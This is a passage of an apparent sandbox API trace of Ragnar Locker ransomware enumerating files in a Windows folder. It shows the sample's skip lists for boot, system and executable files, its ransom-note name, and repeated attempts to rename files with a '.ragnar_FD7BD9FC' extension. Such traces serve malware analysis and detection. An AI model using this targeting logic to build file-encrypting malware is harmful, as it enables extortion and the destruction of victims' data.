hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0058.746] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.746] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipschs.xml" | out: lpString1="ipschs.xml") returned="ipschs.xml" [0058.746] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned=".xml" [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="autorun.inf") returned 1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="boot.ini") returned 1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="bootfont.bin") returned 1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="bootsect.bak") returned 1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="bootmgr") returned 1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="bootmgr.efi") returned 1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="bootmgfw.efi") returned 1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="desktop.ini") returned 1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="iconcache.db") returned 1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="ntldr") returned -1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="ntuser.dat") returned -1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="ntuser.dat.log") returned -1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="ntuser.ini") returned -1 [0058.746] lstrcmpiW (lpString1="ipschs.xml", lpString2="thumbs.db") returned -1 [0058.746] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.746] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.746] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.747] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.747] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.747] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.747] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0058.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.748] CloseHandle (hObject=0xffffffff) returned 0 [0058.748] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" [0058.748] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.ragnar_FD7BD9FC" [0058.748] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.748] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0058.748] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.748] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipscht.xml" | out: lpString1="ipscht.xml") returned="ipscht.xml" [0058.748] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned=".xml" [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="autorun.inf") returned 1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="boot.ini") returned 1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="bootfont.bin") returned 1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="bootsect.bak") returned 1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="bootmgr") returned 1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="bootmgr.efi") returned 1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="bootmgfw.efi") returned 1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="desktop.ini") returned 1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="iconcache.db") returned 1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="ntldr") returned -1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="ntuser.dat") returned -1 [0058.748] lstrcmpiW (lpString1="ipscht.xml", lpString2="ntuser.dat.log") returned -1 [0058.749] lstrcmpiW (lpString1="ipscht.xml", lpString2="ntuser.ini") returned -1 [0058.749] lstrcmpiW (lpString1="ipscht.xml", lpString2="thumbs.db") returned -1 [0058.749] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.749] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.749] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.749] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.749] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.749] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.749] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0058.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.772] CloseHandle (hObject=0xffffffff) returned 0 [0058.772] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" [0058.772] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.ragnar_FD7BD9FC" [0058.772] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.772] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0058.772] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.772] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipscsy.xml" | out: lpString1="ipscsy.xml") returned="ipscsy.xml" [0058.772] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned=".xml" [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="autorun.inf") returned 1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="boot.ini") returned 1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="bootfont.bin") returned 1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="bootsect.bak") returned 1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="bootmgr") returned 1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="bootmgr.efi") returned 1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="bootmgfw.efi") returned 1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="desktop.ini") returned 1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="iconcache.db") returned 1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="ntldr") returned -1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="ntuser.dat") returned -1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="ntuser.dat.log") returned -1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="ntuser.ini") returned -1 [0058.772] lstrcmpiW (lpString1="ipscsy.xml", lpString2="thumbs.db") returned -1 [0058.772] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.772] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.772] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.772] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.773] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.773] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.773] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0058.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.773] CloseHandle (hObject=0xffffffff) returned 0 [0058.773] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" [0058.773] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.ragnar_FD7BD9FC" [0058.773] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.773] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0058.773] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.773] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsdan.xml" | out: lpString1="ipsdan.xml") returned="ipsdan.xml" [0058.774] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned=".xml" [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="autorun.inf") returned 1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="boot.ini") returned 1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="bootfont.bin") returned 1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="bootsect.bak") returned 1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="bootmgr") returned 1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="bootmgr.efi") returned 1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="bootmgfw.efi") returned 1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="desktop.ini") returned 1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="iconcache.db") returned 1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="ntldr") returned -1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="ntuser.dat") returned -1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="ntuser.dat.log") returned -1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="ntuser.ini") returned -1 [0058.774] lstrcmpiW (lpString1="ipsdan.xml", lpString2="thumbs.db") returned -1 [0058.774] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.774] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.774] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.774] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.774] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.774] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.774] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0058.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.775] CloseHandle (hObject=0xffffffff) returned 0 [0058.775] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" [0058.775] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.ragnar_FD7BD9FC" [0058.775] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.775] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0058.775] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.775] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsdeu.xml" | out: lpString1="ipsdeu.xml") returned="ipsdeu.xml" [0058.775] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned=".xml" [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="autorun.inf") returned 1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="boot.ini") returned 1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="bootfont.bin") returned 1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="bootsect.bak") returned 1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="bootmgr") returned 1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="bootmgr.efi") returned 1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="bootmgfw.efi") returned 1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="desktop.ini") returned 1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="iconcache.db") returned 1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="ntldr") returned -1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="ntuser.dat") returned -1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="ntuser.dat.log") returned -1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="ntuser.ini") returned -1 [0058.775] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="thumbs.db") returned -1 [0058.775] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.775] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.775] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.775] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.775] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.775] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.775] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0058.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.776] CloseHandle (hObject=0xffffffff) returned 0 [0058.776] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" [0058.776] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.ragnar_FD7BD9FC" [0058.776] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.776] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0058.776] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.776] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsen.xml" | out: lpString1="ipsen.xml") returned="ipsen.xml" [0058.776] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned=".xml" [0058.776] lstrcmpiW (lpString1="ipsen.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.776] lstrcmpiW (lpString1="ipsen.xml", lpString2="autorun.inf") returned 1 [0058.776] lstrcmpiW (lpString1="ipsen.xml", lpString2="boot.ini") returned 1 [0058.776] lstrcmpiW (lpString1="ipsen.xml", lpString2="bootfont.bin") returned 1 [0058.776] lstrcmpiW (lpString1="ipsen.xml", lpString2="bootsect.bak") returned 1 [0058.776] lstrcmpiW (lpString1="ipsen.xml", lpString2="bootmgr") returned 1 [0058.776] lstrcmpiW (lpString1="ipsen.xml", lpString2="bootmgr.efi") returned 1 [0058.776] lstrcmpiW (lpString1="ipsen.xml", lpString2="bootmgfw.efi") returned 1 [0058.776] lstrcmpiW (lpString1="ipsen.xml", lpString2="desktop.ini") returned 1 [0058.777] lstrcmpiW (lpString1="ipsen.xml", lpString2="iconcache.db") returned 1 [0058.777] lstrcmpiW (lpString1="ipsen.xml", lpString2="ntldr") returned -1 [0058.777] lstrcmpiW (lpString1="ipsen.xml", lpString2="ntuser.dat") returned -1 [0058.777] lstrcmpiW (lpString1="ipsen.xml", lpString2="ntuser.dat.log") returned -1 [0058.777] lstrcmpiW (lpString1="ipsen.xml", lpString2="ntuser.ini") returned -1 [0058.777] lstrcmpiW (lpString1="ipsen.xml", lpString2="thumbs.db") returned -1 [0058.777] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.777] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.777] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.777] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.777] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.777] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.777] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0058.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.780] CloseHandle (hObject=0xffffffff) returned 0 [0058.780] lstrcpyW (in: 